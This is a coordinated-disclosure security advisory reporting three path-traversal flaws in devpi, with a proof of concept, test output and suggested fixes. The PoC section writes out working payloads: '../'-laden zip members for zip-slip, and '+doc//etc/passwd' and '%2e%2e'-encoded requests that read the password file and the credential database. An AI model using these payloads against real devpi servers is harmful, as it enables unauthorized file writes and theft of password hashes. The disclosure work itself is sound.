Filed here at the maintainer's request (Florian Schulze, email of 2026-10-22)
Description
Filed here at the maintainer's request (Florian Schulze, email of 2026-10-22). The zip-slip on doc upload was already reported by someone else; this advisory is for the two new issues below (unauthenticated file read via the +doc route, and the dot-named user/index storage escape). The zip-slip details are kept for context only.
Found with AploSec, our security scanner, and confirmed by execution.
Summary
Three separate path-handling bugs in devpi-common, devpi-web and devpi-server, all reachable with default settings. (1) A crafted doc zip uploaded to the user's own index writes attacker-controlled bytes to an arbitrary path when the docs are unpacked. (2) The unauthenticated +doc route serves arbitrary files readable by the server process, including the keyfs sqlite database. (3) A user or index named .. stores uploaded files outside the server's +files root. None is the parent advisory GHSA-m5pq-69xg-vcq3 (CVE-2026-54723, missing auth on /+changelog, fixed in 6.20.2).
Affected versions
- devpi-server 6.20.3, devpi-web 5.1.1, devpi-common 4.1.1, devpi-client 7.3.0 (all PyPI latest as of 2026-10-21).
- Repo HEAD main 3fc423ba8c98193a2450586b7803ae4eba0dd711: source grep shows
archive.py:128relative_tocheck,doczip.pyjoinpath,model.pyis_valid_nameandfilestore_fs.py_make_pathunchanged, so not fixed at HEAD. - Test environment: Docker, defaults (anonymous user creation, no
--restrict-modify, docs unpacked,keep_docs_packedoff), server on 127.0.0.1,--network none.
Details
- Zip-slip (already reported),
common/devpi_common/archive.py:133(ZipArchive.extract). Absolute member names are blocked by the existing guard, but../members are not. devpi-web unpacks uploaded doc zips with this function on first+docaccess. Needs doc-upload rights on an index; by default anyone can self-register and create their own index. - Doc serving traversal,
web/devpi_web/doczip.py:87. The requested relative path is joined to the unpacked doc directory without containment. A leading//(absolute path) and percent-encoded%2e%2esegments escape it. The GET is unauthenticated. It needs a project/version with a doczip, which any self-registered user can upload to their own index. The literal../form returned 404 in the test run, so only the encoded and absolute forms are proven. - Dot-named user/index,
server/devpi_server/filestore_fs.py:96.PUT /..creates a user named..(201),PUT /../..creates an index, and afile_uploadto/../..stores the file at/srv/+f/<hash>/<hash>/<name>, outside the server dir. Only the basename is attacker-chosen; directory components are hash-derived, so there is no arbitrary overwrite. The literal/..must reach the app un-normalised (true for waitress directly; a proxy that collapses dot segments may block it).
Proof of concept
Full harness: poc.py (raw sockets against a fresh devpi-server in the container). Core steps:
# setup: user alice, index alice/dev, default config
raw("PUT", "/alice", {"password": "<redacted>"})
raw("PUT", "/alice/dev", {"bases": []}, AUTH)
# 1. zip-slip via doc upload
doc_upload("evil", "1.0", mkzip([("index.html", "<h1>x</h1>"),
("../"*12 + "tmp/f3_zipslip_canary", "ZIPSLIP-WRITE")]))
raw("GET", "/alice/dev/evil/1.0/+doc/index.html") # triggers unpack
# 2. unauthenticated read
raw("GET", "/alice/dev/good/1.0/+doc//etc/passwd")
raw("GET", "/alice/dev/good/1.0/+doc/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.sqlite")
# 3. dot-named user/index
raw("PUT", "/..", {"password": "<redacted>"})
raw("PUT", "/../..", {"bases": []}, Basic("..:<redacted>"))
file_upload("/../..", "..", "<redacted>", "evilpkg", "1.0", "evilpkg-1.0.tar.gz", b"TRAVERSAL-PAYLOAD-BBBB")Run: docker run --name w11v-devpi-2 --network none w11v-devpi.
Controls (fired):
- Benign zip extracts normally and serves 200.
- A zip with an absolute member name is blocked by the existing guard:
ABS canary exists (guard control, expect False): False. +doc/index.htmlreturns 200; a nonexistent file returns 404.- The same file upload to
/alice/devlands at/srv/data/+files/alice/dev/+f/<hash>/<hash>/normpkg-1.0.tar.gz, inside the server dir.
Attack results:
TRAVERSAL canary exists (attack): True ZIPSLIP-WRITE (content written to /tmp/f3_zipslip_canary)
second upload wrote a marker file to /srv/evil2_marker.txt, outside the server dir
abs //etc/passwd: 200 len=839 head=b'root:x:0:0:root:/root:/bin/bash...'
sqlite via %2e%2e: 200 len=32768 head=b'SQLite format 3...'
PUT /.. -> 201 ; PUT /../.. -> 200 ; POST /../.. file_upload -> 200
outside serverdir? ['/srv/+f/a4d/5bed70ccdb396/evilpkg-1.0.tar.gz']Opened locally in the container, the leaked sqlite file's changelog table held 6 rows containing user records with password hashes (values redacted: <redacted>).
Impact
- Zip-slip: severity high. An arbitrary-path write of attacker-controlled bytes as the server user (create or overwrite any writable file), a plausible route to code execution depending on deployment. Needs only self-registration and an upload to the attacker's own index with default config; no admin needed.
- Doc traversal: severity high. Unauthenticated read of any file readable by the server process, including the keyfs sqlite database holding password hashes and token ids. Reverse proxies that merge slashes or normalise dot segments (for example nginx
merge_slashes) may block some variants; not tested. - Dot-named user/index: severity low-medium. It escapes the storage root and pollutes the parent directory but does not allow arbitrary overwrite. Unavailable with
--restrict-modify. - Not affected: the
devpi-debuggingplugin (not on PyPI, opt-in--debug-keyfs) is out of scope for this report.
Suggested fix
Resolve each target path and check resolved.is_relative_to(base) (or compare real paths) in ZipArchive.extract, in the doczip file lookup (reject absolute and .. segments after decoding), and in _make_path/is_valid_name (reject . and .. as user and index names).
Zachariah Mithani (zachariah@aplosai.com)
Credit: Zachariah Mithani (@zachariah-mithani, AploSec)